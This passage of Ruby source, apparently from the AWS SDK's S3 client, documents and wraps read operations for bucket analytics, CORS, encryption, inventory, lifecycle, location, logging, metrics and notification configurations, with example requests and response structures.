# @example Request syntax with placeholder values
#
# resp = client.get_bucket_analytics_configuration({
# bucket: "BucketName", # required
# id: "AnalyticsId", # required
# })
#
# @example Response structure
#
# resp.analytics_configuration.id #=> String
# resp.analytics_configuration.filter.prefix #=> String
# resp.analytics_configuration.filter.tag.key #=> String
# resp.analytics_configuration.filter.tag.value #=> String
# resp.analytics_configuration.filter.and.prefix #=> String
# resp.analytics_configuration.filter.and.tags #=> Array
# resp.analytics_configuration.filter.and.tags[0].key #=> String
# resp.analytics_configuration.filter.and.tags[0].value #=> String
# resp.analytics_configuration.storage_class_analysis.data_export.output_schema_version #=> String, one of "V_1"
# resp.analytics_configuration.storage_class_analysis.data_export.destination.s3_bucket_destination.format #=> String, one of "CSV"
# resp.analytics_configuration.storage_class_analysis.data_export.destination.s3_bucket_destination.bucket_account_id #=> String
# resp.analytics_configuration.storage_class_analysis.data_export.destination.s3_bucket_destination.bucket #=> String
# resp.analytics_configuration.storage_class_analysis.data_export.destination.s3_bucket_destination.prefix #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketAnalyticsConfiguration AWS API Documentation
#
# @overload get_bucket_analytics_configuration(params = {})
# @param [Hash] params ({})
def get_bucket_analytics_configuration(params = {}, options = {})
req = build_request(:get_bucket_analytics_configuration, params)
req.send_request(options)
end
# Returns the cors configuration information set for the bucket.
#
# To use this operation, you must have permission to perform the
# s3:GetBucketCORS action. By default, the bucket owner has this
# permission and can grant it to others.
#
# For more information about cors, see [ Enabling Cross-Origin Resource
# Sharing][1].
#
# The following operations are related to `GetBucketCors`\:
#
# * PutBucketCors
#
# * DeleteBucketCors
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/cors.html
#
# @option params [required, String] :bucket
# The bucket name for which to get the cors configuration.
#
# @return [Types::GetBucketCorsOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketCorsOutput#cors_rules #cors_rules} => Array<Types::CORSRule>
#
#
# @example Example: To get cors configuration set on a bucket
#
# # The following example returns cross-origin resource sharing (CORS) configuration set on a bucket.
#
# resp = client.get_bucket_cors({
# bucket: "examplebucket",
# })
#
# resp.to_h outputs the following:
# {
# cors_rules: [
# {
# allowed_headers: [
# "Authorization",
# ],
# allowed_methods: [
# "GET",
# ],
# allowed_origins: [
# "*",
# ],
# max_age_seconds: 3000,
# },
# ],
# }
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_cors({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.cors_rules #=> Array
# resp.cors_rules[0].allowed_headers #=> Array
# resp.cors_rules[0].allowed_headers[0] #=> String
# resp.cors_rules[0].allowed_methods #=> Array
# resp.cors_rules[0].allowed_methods[0] #=> String
# resp.cors_rules[0].allowed_origins #=> Array
# resp.cors_rules[0].allowed_origins[0] #=> String
# resp.cors_rules[0].expose_headers #=> Array
# resp.cors_rules[0].expose_headers[0] #=> String
# resp.cors_rules[0].max_age_seconds #=> Integer
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketCors AWS API Documentation
#
# @overload get_bucket_cors(params = {})
# @param [Hash] params ({})
def get_bucket_cors(params = {}, options = {})
req = build_request(:get_bucket_cors, params)
req.send_request(options)
end
# Returns the default encryption configuration for an Amazon S3 bucket.
# For information about the Amazon S3 default encryption feature, see
# [Amazon S3 Default Bucket Encryption][1].
#
# To use this operation, you must have permission to perform the
# `s3:GetEncryptionConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][2] and [Managing Access
# Permissions to Your Amazon S3 Resources][3].
#
# The following operations are related to `GetBucketEncryption`\:
#
# * PutBucketEncryption
#
# * DeleteBucketEncryption
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/bucket-encryption.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
#
# @option params [required, String] :bucket
# The name of the bucket from which the server-side encryption
# configuration is retrieved.
#
# @return [Types::GetBucketEncryptionOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketEncryptionOutput#server_side_encryption_configuration #server_side_encryption_configuration} => Types::ServerSideEncryptionConfiguration
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_encryption({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.server_side_encryption_configuration.rules #=> Array
# resp.server_side_encryption_configuration.rules[0].apply_server_side_encryption_by_default.sse_algorithm #=> String, one of "AES256", "aws:kms"
# resp.server_side_encryption_configuration.rules[0].apply_server_side_encryption_by_default.kms_master_key_id #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketEncryption AWS API Documentation
#
# @overload get_bucket_encryption(params = {})
# @param [Hash] params ({})
def get_bucket_encryption(params = {}, options = {})
req = build_request(:get_bucket_encryption, params)
req.send_request(options)
end
# Returns an inventory configuration (identified by the inventory
# configuration ID) from the bucket.
#
# To use this operation, you must have permissions to perform the
# `s3:GetInventoryConfiguration` action. The bucket owner has this
# permission by default and can grant this permission to others. For
# more information about permissions, see [Permissions Related to Bucket
# Subresource Operations][1] and [Managing Access Permissions to Your
# Amazon S3 Resources][2].
#
# For information about the Amazon S3 inventory feature, see [Amazon S3
# Inventory][3].
#
# The following operations are related to
# `GetBucketInventoryConfiguration`\:
#
# * DeleteBucketInventoryConfiguration
#
# * ListBucketInventoryConfigurations
#
# * PutBucketInventoryConfiguration
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/storage-inventory.html
#
# @option params [required, String] :bucket
# The name of the bucket containing the inventory configuration to
# retrieve.
#
# @option params [required, String] :id
# The ID used to identify the inventory configuration.
#
# @return [Types::GetBucketInventoryConfigurationOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketInventoryConfigurationOutput#inventory_configuration #inventory_configuration} => Types::InventoryConfiguration
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_inventory_configuration({
# bucket: "BucketName", # required
# id: "InventoryId", # required
# })
#
# @example Response structure
#
# resp.inventory_configuration.destination.s3_bucket_destination.account_id #=> String
# resp.inventory_configuration.destination.s3_bucket_destination.bucket #=> String
# resp.inventory_configuration.destination.s3_bucket_destination.format #=> String, one of "CSV", "ORC", "Parquet"
# resp.inventory_configuration.destination.s3_bucket_destination.prefix #=> String
# resp.inventory_configuration.destination.s3_bucket_destination.encryption.ssekms.key_id #=> String
# resp.inventory_configuration.is_enabled #=> Boolean
# resp.inventory_configuration.filter.prefix #=> String
# resp.inventory_configuration.id #=> String
# resp.inventory_configuration.included_object_versions #=> String, one of "All", "Current"
# resp.inventory_configuration.optional_fields #=> Array
# resp.inventory_configuration.optional_fields[0] #=> String, one of "Size", "LastModifiedDate", "StorageClass", "ETag", "IsMultipartUploaded", "ReplicationStatus", "EncryptionStatus", "ObjectLockRetainUntilDate", "ObjectLockMode", "ObjectLockLegalHoldStatus", "IntelligentTieringAccessTier"
# resp.inventory_configuration.schedule.frequency #=> String, one of "Daily", "Weekly"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketInventoryConfiguration AWS API Documentation
#
# @overload get_bucket_inventory_configuration(params = {})
# @param [Hash] params ({})
def get_bucket_inventory_configuration(params = {}, options = {})
req = build_request(:get_bucket_inventory_configuration, params)
req.send_request(options)
end
# For an updated version of this API, see
# GetBucketLifecycleConfiguration. If you configured a bucket lifecycle
# using the `filter` element, you should see the updated version of this
# topic. This topic is provided for backward compatibility.
#
# Returns the lifecycle configuration information set on the bucket. For
# information about lifecycle configuration, see [Object Lifecycle
# Management][1].
#
# To use this operation, you must have permission to perform the
# `s3:GetLifecycleConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][2] and [Managing Access
# Permissions to Your Amazon S3 Resources][3].
#
# `GetBucketLifecycle` has the following special error:
#
# * Error code: `NoSuchLifecycleConfiguration`
#
# * Description: The lifecycle configuration does not exist.
#
# * HTTP Status Code: 404 Not Found
#
# * SOAP Fault Code Prefix: Client
#
# The following operations are related to `GetBucketLifecycle`\:
#
# * GetBucketLifecycleConfiguration
#
# * PutBucketLifecycle
#
# * DeleteBucketLifecycle
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lifecycle-mgmt.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
#
# @option params [required, String] :bucket
# The name of the bucket for which to get the lifecycle information.
#
# @return [Types::GetBucketLifecycleOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketLifecycleOutput#rules #rules} => Array<Types::Rule>
#
#
# @example Example: To get a bucket acl
#
# # The following example gets ACL on the specified bucket.
#
# resp = client.get_bucket_lifecycle({
# bucket: "acl1",
# })
#
# resp.to_h outputs the following:
# {
# rules: [
# {
# expiration: {
# days: 1,
# },
# id: "delete logs",
# prefix: "123/",
# status: "Enabled",
# },
# ],
# }
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_lifecycle({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.rules #=> Array
# resp.rules[0].expiration.date #=> Time
# resp.rules[0].expiration.days #=> Integer
# resp.rules[0].expiration.expired_object_delete_marker #=> Boolean
# resp.rules[0].id #=> String
# resp.rules[0].prefix #=> String
# resp.rules[0].status #=> String, one of "Enabled", "Disabled"
# resp.rules[0].transition.date #=> Time
# resp.rules[0].transition.days #=> Integer
# resp.rules[0].transition.storage_class #=> String, one of "GLACIER", "STANDARD_IA", "ONEZONE_IA", "INTELLIGENT_TIERING", "DEEP_ARCHIVE"
# resp.rules[0].noncurrent_version_transition.noncurrent_days #=> Integer
# resp.rules[0].noncurrent_version_transition.storage_class #=> String, one of "GLACIER", "STANDARD_IA", "ONEZONE_IA", "INTELLIGENT_TIERING", "DEEP_ARCHIVE"
# resp.rules[0].noncurrent_version_expiration.noncurrent_days #=> Integer
# resp.rules[0].abort_incomplete_multipart_upload.days_after_initiation #=> Integer
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketLifecycle AWS API Documentation
#
# @overload get_bucket_lifecycle(params = {})
# @param [Hash] params ({})
def get_bucket_lifecycle(params = {}, options = {})
req = build_request(:get_bucket_lifecycle, params)
req.send_request(options)
end
# <note markdown="1"> Bucket lifecycle configuration now supports specifying a lifecycle
# rule using an object key name prefix, one or more object tags, or a
# combination of both. Accordingly, this section describes the latest
# API. The response describes the new filter element that you can use to
# specify a filter to select a subset of objects to which the rule
# applies. If you are still using previous version of the lifecycle
# configuration, it works. For the earlier API description, see
# GetBucketLifecycle.
#
# </note>
#
# Returns the lifecycle configuration information set on the bucket. For
# information about lifecycle configuration, see [Object Lifecycle
# Management][1].
#
# To use this operation, you must have permission to perform the
# `s3:GetLifecycleConfiguration` action. The bucket owner has this
# permission, by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][2] and [Managing Access
# Permissions to Your Amazon S3 Resources][3].
#
# `GetBucketLifecycleConfiguration` has the following special error:
#
# * Error code: `NoSuchLifecycleConfiguration`
#
# * Description: The lifecycle configuration does not exist.
#
# * HTTP Status Code: 404 Not Found
#
# * SOAP Fault Code Prefix: Client
#
# The following operations are related to
# `GetBucketLifecycleConfiguration`\:
#
# * GetBucketLifecycle
#
# * PutBucketLifecycle
#
# * DeleteBucketLifecycle
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lifecycle-mgmt.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
#
# @option params [required, String] :bucket
# The name of the bucket for which to get the lifecycle information.
#
# @return [Types::GetBucketLifecycleConfigurationOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketLifecycleConfigurationOutput#rules #rules} => Array<Types::LifecycleRule>
#
#
# @example Example: To get lifecycle configuration on a bucket
#
# # The following example retrieves lifecycle configuration on set on a bucket.
#
# resp = client.get_bucket_lifecycle_configuration({
# bucket: "examplebucket",
# })
#
# resp.to_h outputs the following:
# {
# rules: [
# {
# id: "Rule for TaxDocs/",
# prefix: "TaxDocs",
# status: "Enabled",
# transitions: [
# {
# days: 365,
# storage_class: "STANDARD_IA",
# },
# ],
# },
# ],
# }
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_lifecycle_configuration({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.rules #=> Array
# resp.rules[0].expiration.date #=> Time
# resp.rules[0].expiration.days #=> Integer
# resp.rules[0].expiration.expired_object_delete_marker #=> Boolean
# resp.rules[0].id #=> String
# resp.rules[0].prefix #=> String
# resp.rules[0].filter.prefix #=> String
# resp.rules[0].filter.tag.key #=> String
# resp.rules[0].filter.tag.value #=> String
# resp.rules[0].filter.and.prefix #=> String
# resp.rules[0].filter.and.tags #=> Array
# resp.rules[0].filter.and.tags[0].key #=> String
# resp.rules[0].filter.and.tags[0].value #=> String
# resp.rules[0].status #=> String, one of "Enabled", "Disabled"
# resp.rules[0].transitions #=> Array
# resp.rules[0].transitions[0].date #=> Time
# resp.rules[0].transitions[0].days #=> Integer
# resp.rules[0].transitions[0].storage_class #=> String, one of "GLACIER", "STANDARD_IA", "ONEZONE_IA", "INTELLIGENT_TIERING", "DEEP_ARCHIVE"
# resp.rules[0].noncurrent_version_transitions #=> Array
# resp.rules[0].noncurrent_version_transitions[0].noncurrent_days #=> Integer
# resp.rules[0].noncurrent_version_transitions[0].storage_class #=> String, one of "GLACIER", "STANDARD_IA", "ONEZONE_IA", "INTELLIGENT_TIERING", "DEEP_ARCHIVE"
# resp.rules[0].noncurrent_version_expiration.noncurrent_days #=> Integer
# resp.rules[0].abort_incomplete_multipart_upload.days_after_initiation #=> Integer
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketLifecycleConfiguration AWS API Documentation
#
# @overload get_bucket_lifecycle_configuration(params = {})
# @param [Hash] params ({})
def get_bucket_lifecycle_configuration(params = {}, options = {})
req = build_request(:get_bucket_lifecycle_configuration, params)
req.send_request(options)
end
# Returns the Region the bucket resides in. You set the bucket's Region
# using the `LocationConstraint` request parameter in a `CreateBucket`
# request. For more information, see CreateBucket.
#
# To use this implementation of the operation, you must be the bucket
# owner.
#
# The following operations are related to `GetBucketLocation`\:
#
# * GetObject
#
# * CreateBucket
#
# @option params [required, String] :bucket
# The name of the bucket for which to get the location.
#
# @return [Types::GetBucketLocationOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketLocationOutput#location_constraint #location_constraint} => String
#
#
# @example Example: To get bucket location
#
# # The following example returns bucket location.
#
# resp = client.get_bucket_location({
# bucket: "examplebucket",
# })
#
# resp.to_h outputs the following:
# {
# location_constraint: "us-west-2",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_location({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.location_constraint #=> String, one of "EU", "eu-west-1", "us-west-1", "us-west-2", "ap-south-1", "ap-southeast-1", "ap-southeast-2", "ap-northeast-1", "sa-east-1", "cn-north-1", "eu-central-1"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketLocation AWS API Documentation
#
# @overload get_bucket_location(params = {})
# @param [Hash] params ({})
def get_bucket_location(params = {}, options = {})
req = build_request(:get_bucket_location, params)
req.send_request(options)
end
# Returns the logging status of a bucket and the permissions users have
# to view and modify that status. To use GET, you must be the bucket
# owner.
#
# The following operations are related to `GetBucketLogging`\:
#
# * CreateBucket
#
# * PutBucketLogging
#
# @option params [required, String] :bucket
# The bucket name for which to get the logging information.
#
# @return [Types::GetBucketLoggingOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketLoggingOutput#logging_enabled #logging_enabled} => Types::LoggingEnabled
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_logging({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.logging_enabled.target_bucket #=> String
# resp.logging_enabled.target_grants #=> Array
# resp.logging_enabled.target_grants[0].grantee.display_name #=> String
# resp.logging_enabled.target_grants[0].grantee.email_address #=> String
# resp.logging_enabled.target_grants[0].grantee.id #=> String
# resp.logging_enabled.target_grants[0].grantee.type #=> String, one of "CanonicalUser", "AmazonCustomerByEmail", "Group"
# resp.logging_enabled.target_grants[0].grantee.uri #=> String
# resp.logging_enabled.target_grants[0].permission #=> String, one of "FULL_CONTROL", "READ", "WRITE"
# resp.logging_enabled.target_prefix #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketLogging AWS API Documentation
#
# @overload get_bucket_logging(params = {})
# @param [Hash] params ({})
def get_bucket_logging(params = {}, options = {})
req = build_request(:get_bucket_logging, params)
req.send_request(options)
end
# Gets a metrics configuration (specified by the metrics configuration
# ID) from the bucket. Note that this doesn't include the daily storage
# metrics.
#
# To use this operation, you must have permissions to perform the
# `s3:GetMetricsConfiguration` action. The bucket owner has this
# permission by default. The bucket owner can grant this permission to
# others. For more information about permissions, see [Permissions
# Related to Bucket Subresource Operations][1] and [Managing Access
# Permissions to Your Amazon S3 Resources][2].
#
# For information about CloudWatch request metrics for Amazon S3, see
# [Monitoring Metrics with Amazon CloudWatch][3].
#
# The following operations are related to
# `GetBucketMetricsConfiguration`\:
#
# * PutBucketMetricsConfiguration
#
# * DeleteBucketMetricsConfiguration
#
# * ListBucketMetricsConfigurations
#
# * [Monitoring Metrics with Amazon CloudWatch][3]
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/cloudwatch-monitoring.html
#
# @option params [required, String] :bucket
# The name of the bucket containing the metrics configuration to
# retrieve.
#
# @option params [required, String] :id
# The ID used to identify the metrics configuration.
#
# @return [Types::GetBucketMetricsConfigurationOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetBucketMetricsConfigurationOutput#metrics_configuration #metrics_configuration} => Types::MetricsConfiguration
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_metrics_configuration({
# bucket: "BucketName", # required
# id: "MetricsId", # required
# })
#
# @example Response structure
#
# resp.metrics_configuration.id #=> String
# resp.metrics_configuration.filter.prefix #=> String
# resp.metrics_configuration.filter.tag.key #=> String
# resp.metrics_configuration.filter.tag.value #=> String
# resp.metrics_configuration.filter.and.prefix #=> String
# resp.metrics_configuration.filter.and.tags #=> Array
# resp.metrics_configuration.filter.and.tags[0].key #=> String
# resp.metrics_configuration.filter.and.tags[0].value #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketMetricsConfiguration AWS API Documentation
#
# @overload get_bucket_metrics_configuration(params = {})
# @param [Hash] params ({})
def get_bucket_metrics_configuration(params = {}, options = {})
req = build_request(:get_bucket_metrics_configuration, params)
req.send_request(options)
end
# No longer used, see GetBucketNotificationConfiguration.
#
# @option params [required, String] :bucket
# Name of the bucket for which to get the notification configuration.
#
# @return [Types::NotificationConfigurationDeprecated] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::NotificationConfigurationDeprecated#topic_configuration #topic_configuration} => Types::TopicConfigurationDeprecated
# * {Types::NotificationConfigurationDeprecated#queue_configuration #queue_configuration} => Types::QueueConfigurationDeprecated
# * {Types::NotificationConfigurationDeprecated#cloud_function_configuration #cloud_function_configuration} => Types::CloudFunctionConfiguration
#
#
# @example Example: To get notification configuration set on a bucket
#
# # The following example returns notification configuration set on a bucket.
#
# resp = client.get_bucket_notification({
# bucket: "examplebucket",
# })
#
# resp.to_h outputs the following:
# {
# queue_configuration: {
# event: "s3:ObjectCreated:Put",
# events: [
# "s3:ObjectCreated:Put",
# ],
# id: "MDQ2OGQ4NDEtOTBmNi00YTM4LTk0NzYtZDIwN2I3NWQ1NjIx",
# queue: "arn:aws:sqs:us-east-1:acct-id:S3ObjectCreatedEventQueue",
# },
# topic_configuration: {
# event: "s3:ObjectCreated:Copy",
# events: [
# "s3:ObjectCreated:Copy",
# ],
# id: "YTVkMWEzZGUtNTY1NS00ZmE2LWJjYjktMmRlY2QwODFkNTJi",
# topic: "arn:aws:sns:us-east-1:acct-id:S3ObjectCreatedEventTopic",
# },
# }
#
# @example Example: To get notification configuration set on a bucket
#
# # The following example returns notification configuration set on a bucket.
#
# resp = client.get_bucket_notification({
# bucket: "examplebucket",
# })
#
# resp.to_h outputs the following:
# {
# queue_configuration: {
# event: "s3:ObjectCreated:Put",
# events: [
# "s3:ObjectCreated:Put",
# ],
# id: "MDQ2OGQ4NDEtOTBmNi00YTM4LTk0NzYtZDIwN2I3NWQ1NjIx",
# queue: "arn:aws:sqs:us-east-1:acct-id:S3ObjectCreatedEventQueue",
# },
# topic_configuration: {
# event: "s3:ObjectCreated:Copy",
# events: [
# "s3:ObjectCreated:Copy",
# ],
# id: "YTVkMWEzZGUtNTY1NS00ZmE2LWJjYjktMmRlY2QwODFkNTJi",
# topic: "arn:aws:sns:us-east-1:acct-id:S3ObjectCreatedEventTopic",
# },
# }
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_notification({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.topic_configuration.id #=> String
# resp.topic_configuration.events #=> Array
# resp.topic_configuration.events[0] #=> String, one of "s3:ReducedRedundancyLostObject", "s3:ObjectCreated:*", "s3:ObjectCreated:Put", "s3:ObjectCreated:Post", "s3:ObjectCreated:Copy", "s3:ObjectCreated:CompleteMultipartUpload", "s3:ObjectRemoved:*", "s3:ObjectRemoved:Delete", "s3:ObjectRemoved:DeleteMarkerCreated", "s3:ObjectRestore:*", "s3:ObjectRestore:Post", "s3:ObjectRestore:Completed", "s3:Replication:*", "s3:Replication:OperationFailedReplication", "s3:Replication:OperationNotTracked", "s3:Replication:OperationMissedThreshold", "s3:Replication:OperationReplicatedAfterThreshold"
# resp.topic_configuration.event #=> String, one of "s3:ReducedRedundancyLostObject", "s3:ObjectCreated:*", "s3:ObjectCreated:Put", "s3:ObjectCreated:Post", "s3:ObjectCreated:Copy", "s3:ObjectCreated:CompleteMultipartUpload", "s3:ObjectRemoved:*", "s3:ObjectRemoved:Delete", "s3:ObjectRemoved:DeleteMarkerCreated", "s3:ObjectRestore:*", "s3:ObjectRestore:Post", "s3:ObjectRestore:Completed", "s3:Replication:*", "s3:Replication:OperationFailedReplication", "s3:Replication:OperationNotTracked", "s3:Replication:OperationMissedThreshold", "s3:Replication:OperationReplicatedAfterThreshold"
# resp.topic_configuration.topic #=> String
# resp.queue_configuration.id #=> String
# resp.queue_configuration.event #=> String, one of "s3:ReducedRedundancyLostObject", "s3:ObjectCreated:*", "s3:ObjectCreated:Put", "s3:ObjectCreated:Post", "s3:ObjectCreated:Copy", "s3:ObjectCreated:CompleteMultipartUpload", "s3:ObjectRemoved:*", "s3:ObjectRemoved:Delete", "s3:ObjectRemoved:DeleteMarkerCreated", "s3:ObjectRestore:*", "s3:ObjectRestore:Post", "s3:ObjectRestore:Completed", "s3:Replication:*", "s3:Replication:OperationFailedReplication", "s3:Replication:OperationNotTracked", "s3:Replication:OperationMissedThreshold", "s3:Replication:OperationReplicatedAfterThreshold"
# resp.queue_configuration.events #=> Array
# resp.queue_configuration.events[0] #=> String, one of "s3:ReducedRedundancyLostObject", "s3:ObjectCreated:*", "s3:ObjectCreated:Put", "s3:ObjectCreated:Post", "s3:ObjectCreated:Copy", "s3:ObjectCreated:CompleteMultipartUpload", "s3:ObjectRemoved:*", "s3:ObjectRemoved:Delete", "s3:ObjectRemoved:DeleteMarkerCreated", "s3:ObjectRestore:*", "s3:ObjectRestore:Post", "s3:ObjectRestore:Completed", "s3:Replication:*", "s3:Replication:OperationFailedReplication", "s3:Replication:OperationNotTracked", "s3:Replication:OperationMissedThreshold", "s3:Replication:OperationReplicatedAfterThreshold"
# resp.queue_configuration.queue #=> String
# resp.cloud_function_configuration.id #=> String
# resp.cloud_function_configuration.event #=> String, one of "s3:ReducedRedundancyLostObject", "s3:ObjectCreated:*", "s3:ObjectCreated:Put", "s3:ObjectCreated:Post", "s3:ObjectCreated:Copy", "s3:ObjectCreated:CompleteMultipartUpload", "s3:ObjectRemoved:*", "s3:ObjectRemoved:Delete", "s3:ObjectRemoved:DeleteMarkerCreated", "s3:ObjectRestore:*", "s3:ObjectRestore:Post", "s3:ObjectRestore:Completed", "s3:Replication:*", "s3:Replication:OperationFailedReplication", "s3:Replication:OperationNotTracked", "s3:Replication:OperationMissedThreshold", "s3:Replication:OperationReplicatedAfterThreshold"
# resp.cloud_function_configuration.events #=> Array
# resp.cloud_function_configuration.events[0] #=> String, one of "s3:ReducedRedundancyLostObject", "s3:ObjectCreated:*", "s3:ObjectCreated:Put", "s3:ObjectCreated:Post", "s3:ObjectCreated:Copy", "s3:ObjectCreated:CompleteMultipartUpload", "s3:ObjectRemoved:*", "s3:ObjectRemoved:Delete", "s3:ObjectRemoved:DeleteMarkerCreated", "s3:ObjectRestore:*", "s3:ObjectRestore:Post", "s3:ObjectRestore:Completed", "s3:Replication:*", "s3:Replication:OperationFailedReplication", "s3:Replication:OperationNotTracked", "s3:Replication:OperationMissedThreshold", "s3:Replication:OperationReplicatedAfterThreshold"
# resp.cloud_function_configuration.cloud_function #=> String
# resp.cloud_function_configuration.invocation_role #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/GetBucketNotification AWS API Documentation
#
# @overload get_bucket_notification(params = {})
# @param [Hash] params ({})
def get_bucket_notification(params = {}, options = {})
req = build_request(:get_bucket_notification, params)
req.send_request(options)
end
# Returns the notification configuration of a bucket.
#
# If notifications are not enabled on the bucket, the operation returns
# an empty `NotificationConfiguration` element.
#
# By default, you must be the bucket owner to read the notification
# configuration of a bucket. However, the bucket owner can use a bucket
# policy to grant permission to other users to read this configuration
# with the `s3:GetBucketNotification` permission.
#
# For more information about setting and reading the notification
# configuration on a bucket, see [Setting Up Notification of Bucket
# Events][1]. For more information about bucket policies, see [Using
# Bucket Policies][2].
#
# The following operation is related to `GetBucketNotification`\:
#
# * PutBucketNotification
#
# ^
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/NotificationHowTo.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-iam-policies.html
#
# @option params [required, String] :bucket
# Name of the bucket for which to get the notification configuration.
#
# @return [Types::NotificationConfiguration] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::NotificationConfiguration#topic_configurations #topic_configurations} => Array<Types::TopicConfiguration>
# * {Types::NotificationConfiguration#queue_configurations #queue_configurations} => Array<Types::QueueConfiguration>
# * {Types::NotificationConfiguration#lambda_function_configurations #lambda_function_configurations} => Array<Types::LambdaFunctionConfiguration>
#
# @example Request syntax with placeholder values
#
# resp = client.get_bucket_notification_configuration({
# bucket: "BucketName", # required
# })
#
# @example Response structure
#
# resp.topic_configurations #=> Array
# resp.topic_configurations[0].id #=> String
# resp.topic_configurations[0].topic_arn #=> String
# resp.topic_configurations[0].events #=> Array
# resp.topic_configurations[0].events[0] #=> String, one of "s3:ReducedRedundancyLostObject", "s3:ObjectCreated:*", "s3:ObjectCreated:Put", "s3:ObjectCreated:Post", "s3:ObjectCreated:Copy", "s3:ObjectCreated:CompleteMultipartUpload", "s3:ObjectRemoved:*", "s3:ObjectRemoved:Delete", "s3:ObjectRemoved:DeleteMarkerCreated", "s3:ObjectRestore:*", "s3:ObjectRestore:Post", "s3:ObjectRestore:Completed", "s3:Replication:*", "s3:Replication:OperationFailedReplication", "s3:Replication:OperationNotTracked", "s3:Replication:OperationMissedThreshold", "s3:Replication:OperationReplicatedAfterThreshold"
# resp.topic_configurations[0].filter.key.filter_rules #=> Array
# resp.topic_configurations[0].filter.key.filter_rules[0].name #=> String, one of "prefix", "suffix"
# resp.topic_configurations[0].filter.key.filter_rules[0].value #=> String
# resp.queue_configurations #=> Array
# resp.queue_configurations[0].id #=> String
# resp.queue_configurations[0].queue_arn #=> String
# resp.queue_configurations[0].events #=> Array
# resp.queue_configurations[0].events[0] #=> String, one of "s3:ReducedRedundancyLostObject", "s3:ObjectCreated:*", "s3:ObjectCreated:Put", "s3:ObjectCreated:Post", "s3:ObjectCreated:Copy", "s3:ObjectCreated:CompleteMultipartUpload", "s3:ObjectRemoved:*", "s3:ObjectRemoved:Delete", "s3:ObjectRemoved:DeleteMarkerCreated", "s3:ObjectRestore:*", "s3:ObjectRestore:Post", "s3:ObjectRestore:Completed", "s3:Replication:*", "s3:Replication:OperationFailedReplication", "s3:Replication:OperationNotTracked", "s3:Replication:OperationMissedThreshold", "s3:Replication:OperationReplicatedAfterThreshold"
